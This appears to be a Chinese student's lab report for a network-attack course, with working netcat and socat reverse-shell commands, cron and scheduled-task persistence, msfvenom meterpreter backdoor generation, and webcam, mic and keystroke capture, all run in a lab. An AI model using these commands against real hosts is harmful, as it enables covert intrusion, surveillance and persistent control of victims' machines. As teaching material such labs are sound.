实验2 后门原理与实践
一、实验内容
1.实践目标
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
通过这五个实验可以用不同工具和方式获取远程主机的操作权限并实现持久化控制。
2.实验要求
掌握后门原理及免杀技术
回答问题
(1)例举你能想到的一个后门进入到你系统中的可能方式?
比如在论坛或者不知名网站下了个 “绿色版” 办公软件或者盗版游戏,解压安装的时候没仔细看,除了主程序还默认勾选了一堆 “附加组件”,里面就可能藏着后门,跟着主程序一起装到系统里了。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
Windows里可能会藏在开机启动文件夹里,比如把后门快捷方式偷偷放进“开始菜单-启动”里,开机就自动跑;
Linux的话可能改了用户目录下的.bashrc文件,每次打开终端登录的时候,就会自动执行里面藏着的后门命令。
(3)Meterpreter有哪些给你映像深刻的功能?
能偷偷记录键盘敲击,比如我输密码、聊微信的内容都可能被记下来,这个记录还不会被我发现;
还有能直接调用摄像头拍照片,完全没感觉的时候隐私就被泄露了。
(4)如何发现自己有系统有没有被安装后门?
使用杀毒软件如360或者火绒进行全盘扫描,看看有没有后门;或者平时上网突然变卡,尤其是没开多少程序的时候也卡顿;或者用任务管理器或ps命令看进程,有个进程名看着像系统程序,但占内存特别高,或者名字很奇怪,查不到是什么软件的进程,就可能有问题。
二.实验过程
实验环境:
一台kali虚拟机,一台Win11主机,均提前关闭防火墙和杀软。
(1)使用netcat获取主机Shell,并cron启动某项任务。
先ifconfig查看两机ip地址
1.首先,用windows获取kali的shell
在windows中打开cmd,进入netcat的安装地址
输入ncat -lvp 5215
在kali中输入ncat 192.168.130.133 5215 -e bin/bash
发现windows获取了kali的shell
2.接下来用kali获取windows的shell
在windows中输入ncat.exe -e cm.exe 192.168.80.128 5215
在kali中输入ncat 192.168.130.133 5215 -e bin/bash
发现获取了windows的shell
3.在虚拟机中启动cron并在主机监听
在Windows系统下,监听5205端口
在Kali环境下,用crontab -e指令编辑一条定时任务
选择编辑器时选择3
在最后一行添加45 * * * * /bin/netcat 192.168.31.72 5205 -e /bin/sh意思是,每个小时的第45分钟反向连接Windows主机的5205端口
耐心等待到45分后,成功获取kali的shell
(2)使用socat获取主机shell
Win+R输入compmgmt.msc打开“计算机管理”
在“任务计划程序”中“创建任务”
填写任务名称,并新建一个触发器,设置为工作站锁定时触发
在程序或脚本中选择自己的socat.exe文件的路径,在添加参数填写tcp-listen:5205 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5205,同时把cmd.exe的stderr重定向到stdout上
按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行
然后我这里出现警告
起初我关闭了窗口,然后发现并没有成功连接、获取shell。
我查了各种资料,发现这个问题是Cygwin 版本较旧,有兼容性 bug,和windows的部分不兼容问题。
我尝试创建新的环境,安装新的Cygwin。但是很麻烦。
我突然想到会不会是关闭了窗口的原因?我再次锁定触发,保持警告窗口,然后竟然就成功了!
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在Kali上执行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.128 LPORT=5205 -f exe > 20232310_backdoor.exe
IP地址为控制端IP,即Linux的IP
生成了后门程序:20232310_backdoor.exe
在windows通过ncat.exe -lv 5205 > 20232310_backdoor.exe指令将被控制主机进入接受文件模式
接下来在Kali上用nc 192.168.31.72 5205 < 20232310_backdoor.exe将生成的后门程序传过去
在windows上查看,第一个文件就是
在在Kali上输入msfconsole指令进入msf控制台
接下来开始进行配置,依此输入如下命令:
use exploit/multi/handler 进入监听模块
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.62.15 这里用的是LinuxIP,和生成后门程序时指定的IP相同
set LPORT 5205 同样要使用相同的端口
设置完成后,执行监听
双击运行Windows下的后门程序(在windows上双击后是没有反应的)
然后此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
1、 使用record_mic指令可以截获一段音频(这个很短,只有一秒钟)
2、输入screenshot可以截屏(好糊)
3、使用webcam_snap指令可以使用摄像头进行拍照
但是会在windows上显示正在调用摄像头,会被发现
4、使用keyscan_start、keyscan_dump指令读取击键的记录
5、使用shutdown可以关机(就是突然关机了,一定要记得保存,在最后使用)
6、getuid可以获取用户信息(我看有的博客说这样已经有管理员权限了?)
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
这里遇到很多问题,在后面说,这里只说正确方法。
输入msfvenom Linux/x86/meterpreter/reverse_tcp LHOST=192.168.80.128 LPORT=4444 -x pwn20232310 elf >pwndanger
其中LHOST=192.168.80.128,LPORT=4444表示相应攻击主机的ip和连接端口,然后将payload注入到当前目录下名为pwndanger的文件中
输入chmod +x ./pwndanger添加执行权限
打开msfconsole,输入:
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.80.128
set LPORT 4444
输入exploit,开始监听
双击或者./pwndanger运行这个可执行文件
发现成功了,让我们试一下
三.问题及解决方案
1.使用socat获取主机shell这个实验中,我的windows跳了弹窗
起初我关闭了警告窗口,然后发现并没有成功连接、获取shell。
我查了各种资料,发现这个问题是Cygwin 版本较旧,有兼容性 bug,和windows的部分不兼容问题。
我尝试创建新的环境,安装新的Cygwin。但是很麻烦。
我突然想到会不会是关闭了窗口的原因?
我再次锁定触发,保持警告窗口,然后竟然就成功了!(也就是说不要管他就行,结果花费我很久)
2.在使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell这个实验中我遇到了很多问题
首先我使用了生成嵌入文件的方法,结果
询问老师后,发现我在msfconsole的输入有问题
改成下面正确的之后就能成功,是载荷不一致的问题
然后还有方法二,生成独立 shellcode + 通过原程序漏洞注入
先生成用于反弹连接的shellcode,也可以去https://www.exploit-db.com/shellcodes这个网站找一个符合的
然后参考实验一找到shell code的起始地址(切记要关闭地址随机化),把它加到shellcode的头部,生成一个input
然后在另一个终端总打开msfconsole,并打开监听
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 192.168.80.128
set LPORT 4444 //这两个都是根据shellcode的指定内容来选择的。
show options
exploit
换一个终端,输入(cat input;cat) | ./pwn20232310
成功!
4.学习感悟与思考
这次实验的内容比较多,花费了我挺多时间,但是让我受益匪浅,学到了好多攻击手段。这些攻击方式之前我只在影视作品里面看见过,当时觉得那些操作简直超级炫酷!没想到现在的我也能做类似的事情,当第一次在攻击机上执行被控主机的shell,还是很高兴的。在逐步实现一个个任务,特别是最后调取被控主机拍摄的时候,心中的成就感油然而生。
不过整个实验过程基本上都是要关闭病毒检测和防火墙的,(希望可以在课堂上学到一些能真正绕过防火墙的,像那种一点就感染的邮件之类的),也可以看出现在电脑系统的防护措施已经在进步了,简单的攻击已经被自动过滤无法奏效了。
感谢老师和同学们的帮助,我一定努力学习网络攻防的课程,be better!